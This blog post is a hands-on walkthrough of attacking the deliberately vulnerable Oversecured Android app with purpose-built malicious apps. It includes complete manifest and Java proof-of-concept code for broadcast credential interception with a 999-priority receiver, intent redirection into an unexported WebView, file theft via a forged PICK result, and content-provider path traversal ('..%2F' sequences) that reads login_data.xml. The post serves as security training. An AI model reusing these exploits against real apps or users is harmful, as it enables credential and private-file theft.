Exploiting Android Vulnerabilities with Malicious Third-Party Apps (featuring Oversecured APK)

Felix Alexander
InfoSec Write-ups
Published in
13 min readJul 15, 2022

--

Mobile applications has become a trend these days since there are a rapid growing companies and startups which already taken their steps into digital world, scaling up their business into a bundle of an APK or IPA. Little did they know that there are most likely a vulnerabilities exposed inside which can be manipulated by an unknown adversaries who may take an advantage from them.

In this writings, I’d like to show you how such a third party application may affects an application that has a vulnerable security design especially in Android. The scope of the APK that I chose will be an oversecured APK that can be downloaded from their official Github.

There are 18 vulnerabilities that are existed inside this APK but I’d like to show you some of them that can be easily exploitable using a third-party application that will be built by ourselves manually with Android Studio and Genymotion as the emulator.

Unsafe “Conversations” through IPC Mechanism

IPC Mechanisms in Android are pretty complex and different IPC means different security handling. Most common ones is called Intents. This mechanism allows the application to have several capabilities, such as sharing data between one app with another, passing certain data as arguments from one Activity to another Activity, and et cetera. What would the attack scenario likely be here? We’ll see a lot of the following three exploitations that may occur:

  1. Intent Redirection
  2. Intent Injection
  3. Intent Spoofing

In order to analyze the APK statically, I’ll be using Mobile Security Framework (MobSF). You can also try to use JADX-GUI or JD-GUI.

We’ll start with the Intent Redirection first, this is actually known as Open Redirection in the Information Security terminology but the main purpose of this attack are mostly to retrieve a certain information as an passed-argument that may be confidential from one legitimate application to our malicious application or to gain access to a protected components.

A common spot to see the potential attack is when one declared component is exported inside the application. You may probably notice it from the Android Manifest file that has XML extension. Yet not every component needs to be declared as “android:exported”, we can also conclude that the activity is exported if there’s an intent-filter inside of it. You’ll be surprised that a minimum SDK version that stated inside the manifest also affects its behavior whether it’s exported or not.

Intent Injection occurs when the attacker may inject an Intent itself as a Parcelable Class Object to another intent as an extra data so its impact may also potentially gaining access to a protected component. There are several researches that jot this technique as the redirection but I’ll just put it in a different perspective here.

While firing up our MobSF, we’ll see that it already concluded us about the components information, the application consists of 5 activities, 1 service, 1 receiver and 3 providers.

The application is also pretty simple, it only prompts you to login and you’re free to demonstrate the design flaws that are implemented inside.

Looking at the Android Manifest file reveals that the allowed minimum SDK version of this application is outdated. The application also has an ability to read and write external storage if the permission’s allowed and this can be dangerous since it may modify another’s apps integrity if there’s malicious intentions.

There’s an Entrance Activity to check whether we have logged in already or not with the Main Activity as the default one.

After we take a quick look at the Main Activity, we notice that there’s an insecure broadcast delivered that uses implicit intent. This intent is implicit because it has a specific action declared. Note that in Android 8 (Oreo), implicit intent won’t be used anymore so we need to declare an explicit intent by specifying its component (the Receiver ). We can also call this as an implicit broadcast.

The passed-data inside the broadcast is considered as confidential because it’s our login data. We can find it on the loginUtils Class and find the getLoginData method.

We can see that the data is stored inside a Shared Preferences and it is not encrypted. This is not a best practice especially when we talk about Cryptography in Android because it doesn’t have any encryption method so when the attacker received those login data, it’s visible in a plain text format. For more Android cryptography practices, I would recommend reading it from Ray Wenderlich website.

Another surprising fact is, the developer forgot to do something after receiving the broadcast. This indication should ease the attacker to exfiltrate the login data by intercepting the broadcast intent, redirecting them to our malicious apps.

The idea of crafting the malicious apps is pretty simple. We can register our own Broadcast Receiver and set its priority to 999 in order to redirect the payload data from the broadcast intent to our apps first because it’s the highest priority.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.evil.oversecuredbroadcast">
<application
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.MyApplication">
<receiver
android:name=".EvilReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="999">
<action android:name="oversecured.ovaa.action.UNPROTECTED_CREDENTIALS_DATA">
</action>
</intent-filter>
</receiver>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

But since the extra payload contains a LoginData Serializable objects:

We’ll use a reflection method that will load the oversecured APK packages, loads its Dex and classes inside our Main Activity.

PoC of our Main Activity class.

package com.evil.oversecuredbroadcast;import androidx.appcompat.app.AppCompatActivity;import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
import dalvik.system.DexFile;public class MainActivity extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Object object = null;
try{
PackageManager pm = getPackageManager();
ApplicationInfo appinfo = pm.getApplicationInfo("oversecured.ovaa",0);
DexFile df = new DexFile(appinfo.sourceDir);
ClassLoader cl = getClassLoader();
Class cli = df.loadClass("oversecured.ovaa.objects.LoginData",cl);
object = cli.newInstance();
} catch (Exception e){
e.printStackTrace();
}
}
}

And here comes our Evil Receiver. We declared the action from the oversecured APK that was loaded inside the broadcast intent and receive the Serialized data by getSerializable() of the payload extras. To make it simple, we’ll pass it to a Logger.

package com.evil.oversecuredbroadcast;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.Serializable;public class EvilReceiver extends BroadcastReceiver {@Override
public void onReceive(Context context, Intent intent) {
// TODO: This method is called when the BroadcastReceiver is receiving
// an Intent broadcast.
if(intent != null) {
if("oversecured.ovaa.action.UNPROTECTED_CREDENTIALS_DATA".equals(intent.getAction())){
Log.d("evilreceiver","" + intent.getExtras().getSerializable("payload"));
}
else{
Log.d("evilreceiver","Not yet intercepted");
}
}else{
Log.d("evilreceiver","No intent");
}
throw new UnsupportedOperationException("Not yet implemented");
}
}

Finally, we spawn the OVAA application and the malicious apps, login to OVAA and clicking the second button to send the broadcast in order for our malicious apps to receive it. Altough our app’s getting crashed (I don’t know why about this but perhaps you knew, feel free to comment!),yet the login data is revealed inside the logs using adb logcat containing the email and password.

So for this case, we should never use implicit intent for sending broadcast. We need to use an explicit broadcast and also use a signature permission level.

The next vulnerability is more interesting, let’s have a look at the Android Manifest again and this time, we’ll focus on the Login Activity.

This activity is exported by default because of the intent-filter occurrence. If we see the source code,

After we are prompted to login, there’s actually a checker whether there’s an Intent passed with an extra redirect_intent or not. This is also very dangerous because we can inject a malicious intent to gain access to protected components, for example a protected Activity.

We can also see another vulnerability that leads into information disclosure in the processLogin where a debug-flagged Logger exists. An adb logcat command to find a string ovaa may reveals our login data starting with “Processing “ prefix.

Since we can pass an intent to the LoginActivity class, we’ll have to seek out the targeted activity in order for us to gain a full access advantage. We can see that there’s a protected component, an unexported activity, WebView Activity.

If we take a look at the source code again,

WebView will load a custom URL from an extra url Intent data. This way, we can craft out the attack scenario. We can force the Login Activity to accept an intent containing an url extra of a malicious website and passed it to a redirect_intent extra from the Login Activity intent. We can launch the Login Activity from any application because it’s exported.

Let’s forge our malicious application.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.evil.evilintentaccessprotectedovaa">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Evilintentaccessprotectedovaa">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

PoC of the App:

package com.evil.evilintentaccessprotectedovaa;import androidx.appcompat.app.AppCompatActivity;import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//first intent will be prepared and targeted to protected un-exported
//activity called WebActivity. But since we'll load 2 args of intent
//that are the package name and the class, we'll create a context
//and a class loader first
Context icontext = null;
try {
icontext = createPackageContext("oversecured.ovaa",Context.CONTEXT_INCLUDE_CODE|Context.CONTEXT_IGNORE_SECURITY);
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
Class iclass = null;
try {
iclass = icontext.getClassLoader().loadClass("oversecured.ovaa.activities.WebViewActivity");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
//Intended solver 1-> declare component and the class manually
//Intent redirectintent = new Intent(icontext,iclass);
//intended solver 2
Intent redirectintent = new Intent();
//this is solver 1, but it's not required for solver 2
redirectintent.setClassName("oversecured.ovaa","oversecured.ovaa.activities.WebViewActivity");
redirectintent.putExtra("url", "https://petircysec.com/");
Intent loginintent = new Intent("oversecured.ovaa.action.LOGIN");
loginintent.setClassName("oversecured.ovaa","oversecured.ovaa.activities.LoginActivity");
loginintent.putExtra("redirect_intent",redirectintent);
startActivity(loginintent);
}
}

Opening up the malicious application will redirect us to the website that was loaded in extra url . The oversecured APK will render our malicious website.

We successfully perform intent injection that leads into intent redirection to another protected activity.

Yet we’re not stopping by! There are also more vulnerabilities that we need to seek further. An implicit intent may sometimes used to steal a confidential data as a file. This happens also in the oversecured APK.

Let’s take a look at the Main Activity Class again.

There’s an implicit intent declaration which aims to pick/open an image-type file, and then it’s waiting for a result code that sets to 1001, in order to trigger and do something about the file which can be seen on the onActivityResult().

If we take a look at the FileUtils Class, especially on the copyToCache method,

It’ll open an external cache directory which located on /storage/emulated/0 (only if you’re in emulated environment). If it’s in real environment, we may refer it to here. The output of the filename will be the current time in milliseconds and it’s located at the cache directory of the oversecured APK.

In order to exploit this method, we’ll have to forge an intent and pass them in that will be passed to the onActivityResult() and triggerred from setResults() so that it’ll copy our arbitrary file to the external cache directory. Although the type of the file is configured as an image type before, but because the power of android:priority = “999” , it will just override them and we’ll pass our own intent there. This is pretty dangerous because any application that has a permission of READ_EXTERNAL_STORAGE will be able to read it as well.

Let’s craft our malicious apps.

PoC of the Apps.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.evil.evlfiletheftpartone">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Evlfiletheftpartone">
<activity android:name=".thievesss" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

MainActivity Class,

package com.evil.evlfiletheftpartone;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent cont = new Intent(getApplicationContext(),thievesss.class);
startActivity(cont);
}
}

Thievesss Class,

package com.evil.evlfiletheftpartone;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.StrictMode;
public class thievesss extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_thievesss);
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
Intent stealing = new Intent();
stealing.setData(Uri.parse("file:///data/data/oversecured.ovaa/shared_prefs/login_data.xml"));
setResult(RESULT_OK,stealing);
finish();
}
}

Note that we will pass the Uri data that parses the login_data.xml inside the application’s Shared Preferences and used StrictMode.setVmPolicy to prevent a file scheme exception.

We may run both apps, fire up button of the first one and we’ll have to pick the malicious apps. After that, we can check out the external cache directory file again and we’ll see our XML Login Data.

What if the startActivityForResult() is declared and the used intent is not implicit, but explicit and the setResults() has been defined on the destined Activity? There’s a possibility that we can create a malicious apps which technique is an intent interception or redirection which will redirect an extra data. This article has explained it so well!

Next one, we’ll try to inspect another components that also exist inside the application, which called Content Providers. This component allows one application to share a data to another application, and another application may even request a data from the other app by using a ContentResolver Class.

It also has a general syntax when querying a Content that looks like:

<prefix>://<authority-name>/<data_type>/<id>

Let’s take a look back to the Android Manifest file again and this time, we’ll look for the provider tags.

<provider android:name="oversecured.ovaa.providers.TheftOverwriteProvider" android:exported="true" android:authorities="oversecured.ovaa.theftoverwrite" /><provider android:name="oversecured.ovaa.providers.CredentialsProvider" android:exported="false" android:authorities="oversecured.ovaa.creds_provider" android:grantUriPermissions="true" /><provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="oversecured.ovaa.fileprovider" android:grantUriPermissions="true"><meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths" /></provider>

There are three Content Providers and one of them can be used to be called from any applications since it’s exported, yet one of them is not exported but it has a grantUriPermissions. We’ll take a look later for the second one so let’s check the first one!

The content provider allows us to open and read a certain file from external storage directory with a mode value 805306368. This indicates that the file can be read or written. But since the file is in external storage directory, nothing’s interesting there, isn’t it? It might be not but what’s more interesting is that the declaration of the filename parsed from the Uri last path segment using getLastPathSegment().

As we refer from this document, we can manipulate to read the internal data inside an application. For example, if I want to read the login_data.xml again, I’ll just have to pass an encoded slash for a path traversal vulnerability.

The PoC of our malicious application may looks like these,

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.evil.eviltheftfileparttwo">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Eviltheftfileparttwo">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

MainActivity Class:

package com.evil.eviltheftfileparttwo;import androidx.appcompat.app.AppCompatActivity;import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
public class MainActivity extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView stealer = findViewById(R.id.stealedbuffer);
stealer.setText("");
try {
ArrayList<String> mylist = new ArrayList<String>();
File path = Environment.getExternalStorageDirectory();
Log.d("PATHssss",path.toString());
String pathtraversal = "..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Foversecured.ovaa%2Fshared_prefs%2Flogin_data.xml";
ContentResolver cr = this.getContentResolver();
FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse("content://oversecured.ovaa.theftoverwrite/"+pathtraversal));
BufferedReader r = new BufferedReader(new InputStreamReader(fis));
String textss;
String mLine;
if ((mLine = r.readLine()) != null){
stealer.append("We finally got it!\n\n");
}
while ((mLine = r.readLine()) != null) {
stealer.append(mLine+"\n");
}
} catch (Throwable th){
throw new RuntimeException(th);
}
}
}

After that, we’ll just have to spawn the malicious application and we’ll get what we want immediately. The login data will be shown!

There’s another unique vulnerability that takes in the second Content Provider too. Although the provider is not exported, but we can gain an advantage from its grantUriPermission especially related to the Deep Links in order to steal the credentials again.

There’s an amazing writeup already for this one and you can take a look over here, written by Rahul Kumar from Payatu.

What I’m writing here is not that much and we can still see a lot of vulnerabilities that haven’t been written here. I’m planning on updating this as soon as possible and I’d love to encourage you as a fellow readers to try it out and test all of them hands-on!

I hope you gained a lot of knowledges about how fun it is to exploit such an app by another app. If there are any misleading information, please reach me out!

Kudos for the references that I took to make this writings happen.

https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting

https://developer.android.com

Feel free to support me anytime!

https://www.buymeacoffee.com/aseng

https://trakteer.id/felix-alexander-swfnt/tip?open=true

--

--